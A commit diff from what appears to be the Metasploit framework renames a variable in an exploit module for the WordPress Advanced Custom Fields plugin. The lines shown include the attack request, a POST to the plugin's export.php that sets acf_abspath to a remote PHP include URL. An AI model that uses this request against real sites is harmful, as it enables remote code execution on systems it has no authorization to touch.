Code style fix!

Now variable names are in-line with the coding guidelines!

modules/exploits/multi/http/wp_advanced_custom_fields_exec.rb

@@ -75,12 +75,12 @@ class Metasploit3 < Msf::Exploit::Remote
 		uri = target_uri.path
 		uri << '/' if uri[-1,1] != '/'
 
-		pluginPath = 'wp-content/plugins/advanced-custom-fields/core/actions/export.php'
+		plugin_path = 'wp-content/plugins/advanced-custom-fields/core/actions/export.php'
 
 		print_status('Sending request')
 		res = send_request_cgi({
 			'method' => 'POST',
-			'uri'    => "#{uri}#{pluginPath}",
+			'uri'    => "#{uri}#{plugin_path}",
 			'data'   => "acf_abspath=#{php_include_url}"
 		})